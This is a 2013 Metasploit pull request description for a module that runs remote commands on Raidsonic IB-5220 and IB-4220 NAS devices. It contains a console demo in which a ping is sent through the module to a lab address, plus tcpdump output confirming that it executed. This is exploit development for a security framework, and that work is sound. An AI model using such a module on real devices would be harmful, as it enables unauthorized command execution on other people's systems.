rapid7/metasploit-framework — pull request #1637 by m-1-k-3 (2013-03-23 17:14:20+00:00)
Title: raidsonic_ib5220_ib4220_exec - initial commit

Hey guys,

the exec module for two raidsonic nas devices:

Exploiting Demo - 192.168.178.105 / 0 auxiliary(raidsonic_ib5220_ib4220_exec) > set CMD ping -c 2 192.168.178.105
CMD => ping -c 2 192.168.178.105
Exploiting Demo - 192.168.178.105 / 0 auxiliary(raidsonic_ib5220_ib4220_exec) > run

[*] 192.168.178.41:80 - Sending remote command: ping -c 2 192.168.178.105
[*] 192.168.178.41:80 - Blind Exploitation - unknown Exploitation state

[*] Auxiliary module execution completed

root@bt:~/msf-git/metasploit-framework# tcpdump -i eth2 'icmp'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes

18:11:55.036215 IP 192.168.178.41 > 192.168.178.105: ICMP echo request, id 64260, seq 0, length 64
18:11:55.036244 IP 192.168.178.105 > 192.168.178.41: ICMP echo reply, id 64260, seq 0, length 64
18:11:55.988456 IP 192.168.178.41 > 192.168.178.105: ICMP echo request, id 64260, seq 256, length 64
18:11:55.988485 IP 192.168.178.105 > 192.168.178.41: ICMP echo reply, id 64260, seq 256, length 64

More infos: http://www.s3cur1ty.de/m1adv2013-010

looking forward to your feedback.

Best,
Mike